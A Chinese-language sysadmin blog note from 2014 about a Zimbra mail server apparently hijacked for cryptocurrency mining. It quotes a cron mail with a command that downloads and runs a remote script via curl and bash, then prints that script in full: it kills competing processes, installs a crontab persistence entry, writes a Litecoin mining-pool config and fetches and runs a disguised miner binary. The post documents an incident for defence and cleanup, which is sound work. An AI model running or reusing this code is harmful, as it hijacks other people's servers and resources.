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<a class="bubble" href="/article/e7-ad-86-e8-a8-98-zimbra-e4-b8-bb-e6-a9-9f-e7-96-91-e4-bc-bc-e8-a2-ab-e6-8b-bf-e4-be-86-e6-8c-96-e7-a4-a6-e4-ba-86/">
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<h3><a href="/article/e7-ad-86-e8-a8-98-zimbra-e4-b8-bb-e6-a9-9f-e7-96-91-e4-bc-bc-e8-a2-ab-e6-8b-bf-e4-be-86-e6-8c-96-e7-a4-a6-e4-ba-86/">[筆記] Zimbra 主機疑似被拿來挖礦了</a></h3>
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<div class="meta">
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<span class="date moment">2014-08-08</span>
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<span class="categories">
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<a href="/categories/%E5%B7%A5%E4%BD%9C%E7%AD%86%E8%A8%98">工作筆記</a>
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</span>
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</div>
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<p>最近發現Zimbra主機似乎被駭客打進去了</p>
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<p>會有 root 往外發信的紀錄，所以在 zimbra的postfix裡面設定了 always_bcc ，想看一下到底是寄出什麼東西</p>
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<p>似乎是透過crontab 定時送出，可是我/etc底下的 crontab 都檢查過了，沒看到異常說..</p>
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<p>信件內容如下
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> <table class="cf gJ" cellpadding="0">
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>
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> <tbody>
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>
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> <tr class="acZ">
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>
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> <td class="gF gK">
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>
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> <table class="cf ix" cellpadding="0">
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>
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> <tbody>
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>
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> <tr>
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>
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> <td>
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>
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>
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> ### <span class="gD">Cron Daemon</span> <span class="go gD"><root@></span>
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>
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> </td>
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>
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> </tr>
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>
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> </tbody>
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>
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> </table>
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>
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> </td>
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>
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> <td class="gH">
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>
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> <div class="gK"><span id=":1co" class="g3" title="2014年8月8日 上午3:00">3:00 (5 小時前)</span>
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>
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> <div class="zd" style="outline: 0;" tabindex="0"><span class="T-KT"><img src="https://mail.google.com/mail/u/0/images/cleardot.gif" alt="" /></span></div>
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>
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> </div></td>
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>
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> <td class="gH"></td>
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>
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> <td class="gH acX" rowspan="2"></td>
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>
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> </tr>
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>
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> <tr class="acZ xD">
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>
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> <td colspan="3">
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>
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> <table class="cf adz" cellpadding="0">
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>
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> <tbody>
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>
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> <tr>
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>
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> <td class="ady">
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>
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> <div class="iw ajw"><span class="hb">寄給 <span class="g2" dir="ltr">zimbra</span> </span></div>
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>
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> <div class="ajy"><img src="https://mail.google.com/mail/u/0/images/cleardot.gif" alt="" /></div></td>
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>
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> </tr>
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>
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> </tbody>
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>
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> </table>
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>
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> </td>
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>
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> </tr>
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>
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> </tbody>
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>
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> </table>
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>
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> <div class="acS">
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>
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> <div class="aso"><img src="https://ssl.gstatic.com/ui/v1/icons/mail/images/cleardot.gif" alt="" /></div>
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>
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> </div>
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>
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> /bin/sh: -c: line 0: syntax error near unexpected token <code>('
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>
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> /bin/sh: -c: line 0:</code>/bin/bash <(curl -ksL <a href="https://cp1.awardspace.net/filemanager2/core/doc/.mz/.hEj2kQyT">https://cp1.awardspace.net/filemanager2/core/doc/.mz/.hEj2kQyT</a>); /opt/zimbra/data/tmp/.z.sh’
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>
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>
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>
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>
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>
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>
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</p>
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<p>會自己去抓檔案下來，偽裝成 zimbra 的系統檔案，不過那個檔案連結似乎已經失效，抓不到了。</p>
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<p>抓下來的檔案內容如下
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> #!/bin/bash
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>
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> kill -9 $(ps aux | grep “-B -o stratum” | awk ‘{print $2}’) 2>&1
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>
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> kill -9 $(ps aux | grep “minerd” | awk ‘{print $2}’) 2>&1
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>
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> kill -9 $(ps aux | grep “-B -c /” | awk ‘{print $2}’) 2>&1
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>
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> kill -9 $(ps aux | grep “stratum” | awk ‘{print $2}’) 2>&1
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>
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> kill -9 $(ps aux | grep “java” | awk ‘{print $2}’) 2>&1
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>
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> kill -9 $(ps aux | grep “ssh-scan” | awk ‘{print $2}’) 2>&1
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>
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> kill -9 $(ps aux | grep “/bin/sh ./start” | awk ‘{print $2}’) 2>&1
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>
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> kill -9 $(ps aux | grep “zimbravm-cache” | awk ‘{print $2}’) 2>&1
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>
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> kill -9 $(ps aux | grep “/bin/bash ./a” | awk ‘{print $2}’) 2>&1
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>
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> kill -9 $(ps aux | grep “pscan” | awk ‘{print $2}’) 2>&1
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>
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>
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> ARCH=$(uname -m)
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>
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> BINNAME=“zm-helper”
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>
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> BINCFG=“zm-helper.cfg”
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>
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>
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> if [[ $EUID -eq 0 ]]
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>
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> then
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>
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> BINDIR=“/sbin/”
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>
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> CFGDIR=“/etc/”
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>
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> BINPATH=“$BINDIR$BINNAME”
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>
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> CFGPATH=“$CFGDIR$BINCFG”
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>
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> fi
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>
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> if [[ $EUID -ne 0 ]]
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>
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> then
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>
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> BINDIR=“/tmp/”
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>
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> CFGDIR=“/tmp/”
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>
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> BINPATH=“$BINDIR$BINNAME”
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>
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> CFGPATH=“$CFGDIR$BINCFG”
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>
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> fi
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>
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> if [ -f /opt/zimbra/data/tmp/.z.sh ]
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>
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> then
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>
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> crontab -r
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>
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> wget -q <a href="https://cp1.awardspace.net/filemanager2/core/doc/.mz/.hEj2kQyT">https://cp1.awardspace.net/filemanager2/core/doc/.mz/.hEj2kQyT</a> -O /opt/zimbra/data/tmp/.z.sh
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>
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> cro=‘/bin/bash <(curl -ksL <a href="https://cp1.awardspace.net/filemanager2/core/doc/.mz/.hEj2kQyT">https://cp1.awardspace.net/filemanager2/core/doc/.mz/.hEj2kQyT</a>); /opt/zimbra/data/tmp/.z.sh’
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>
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> (crontab -l; echo “0 */3 * * * $cro”) 2>&1 | sed “s/no crontab for $(whoami)//” | uniq | crontab -
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>
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> fi
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>
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> k=$(ps aux | grep “[${BINNAME:0:1}]mod -B -c ${CFGPATH:0:4}” | awk ‘{print $2}’)
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>
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> if [ ! -z “$k” ]
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>
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> then
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>
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> kill -9 $(ps aux | grep “[${BINNAME:0:1}]mod -B -c ${CFGPATH:0:4}” | awk ‘{print $2}’)
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>
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> fi
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>
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> [[ -f “$CFGPATH” ]] && rm -rf “$CFGPATH”
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>
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> [[ -f “$BINPATH” ]] && rm -rf “$BINPATH”
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>
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> (cat <<- <em>EOF</em>
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>
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> {
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>
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> “url” : “stratum+tcp://ltc.give-me-coins.com:3333”,
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>
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> “user” : “n0ts0me1ne.1”,
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>
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> “pass” : “zx1”,
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>
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> “quiet” : true
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>
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> }
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>
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> <em>EOF</em>
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>
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> ) > “$CFGPATH”
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>
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> wget -q <a href="https://cp1.awardspace.net/filemanager2/core/doc/.mz/m_`uname">https://cp1.awardspace.net/filemanager2/core/doc/.mz/m_`uname</a> -m` -O “$BINPATH”
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>
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> chmod +x “$BINPATH”
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>
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> eval “$BINPATH -B -c $CFGPATH 2> /dev/null”
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>
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>
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> chk=$(ps aux | grep “[${BINNAME:0:1}]mod” | awk ‘{print $2}’)
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>
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> if [ ! -z “$chk” ]
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>
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> then
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>
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> echo “$chk”
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>
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> fi
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>
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> exit 1
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先把類似的檔案備份、砍掉，執行
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> /opt/zimbra/libexec/zmfixperms –verbose –extended
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修正權限問題</p>
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<p>大概就先這樣子吧，改天再來重裝好了。</p>
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<p> </p>
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<p> </p>
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<i class="fa fa-tags"></i>
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<a href="/tags/give-me-coins">give-me-coins</a>
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<a href="/tags/zimbra">zimbra</a>
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</div>
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</div>
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<a href="/categories/%E5%89%AA%E5%A0%B1">剪報 (18)</a>
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</li>
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<li>
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<a href="/categories/starting">Starting (5)</a>
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</li>
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<li>
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<a href="/categories/blog">Blog (4)</a>
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</li>
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</ul>
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</div>
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<div class="right">
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<div class="external-profiles">
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<strong>Social media</strong>
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<a href="https://twitter.com/TheRealLednerb" target="_blank"><i class="fa fa-twitter-adblock-proof"></i></a>
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<a href="https://github.com/Lednerb" target="_blank"><i class="fa fa-github"></i></a>
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</div>
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<div class="languages">
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<strong>Other languages</strong>
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<a href="/en" class="active">en</a>
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<a href="/de">de</a>
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</div>
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</div>
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</div>
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</footer>
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<div class="credits">
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<div class="container">
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<div class="copyright">
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<a href="https://github.com/Lednerb" target="_blank">
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©
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2017
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by Lednerb
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</a>
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</div>
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<div class="author">
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<a href="https://github.com/Lednerb/bilberry-hugo-theme" target="_blank">Bilberry Hugo Theme</a>
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</div>
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</div>
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</div>
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<script type="text/javascript" src="https://h.cowbay.org/js/externalDependencies.39c47e10e241eae2947b3fe21809c572.js" integrity="md5-OcR+EOJB6uKUez/iGAnFcg=="></script>
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<script type="text/javascript" src="https://h.cowbay.org/js/theme.ff50ae6dc1bfc220b23bf69dbb41b54e.js" integrity="md5-/1CubcG/wiCyO/adu0G1Tg=="></script>
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<script>
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$(".moment").each(function() {
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$(this).text(
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moment( $(this).text() )
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.locale( "en" )
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.format('LL')
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);
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});
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$(".footnote-return sup").html("");
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</script>
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<script>
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var client = algoliasearch("Y2C4RWMPXW", "50ea7f8c41c0ad233926e0be2b769ed1");
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var index = client.initIndex("default-content");
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$('#search').autocomplete({ hint: false, autoselect: true, debug: false },
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[
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{
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source: $.fn.autocomplete.sources.hits(index, { hitsPerPage: 5, filters: 'language: en' }),
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displayKey: function(suggestion) {
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return suggestion.title || suggestion.author
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},
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templates: {
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suggestion: function(suggestion) {
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return "<span class='entry " + suggestion.type + "'>"
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+ "<span class='title'>" + suggestion.title + "</span>"
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+ "<span class='fa fa-fw " + suggestion.iconClass + "'></span>"
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+ "</span>"
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;
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},
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empty: function() {
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return "<span class='empty'>Nothing found.</span>"
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},
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footer: function() {
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return '<div class="branding">Powered by <img src="https:\/\/h.cowbay.org\/dist\/algolia-logo-light.svg" /></div>'
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}
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},
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}
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])
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.on('autocomplete:selected', function(event, suggestion, dataset) {
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window.location = (suggestion.url);
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})
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.keypress(function (event, suggestion) {
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if (event.which == 13) {
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window.location = (suggestion.url);
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}
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});
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</script>
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</body>
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</html>
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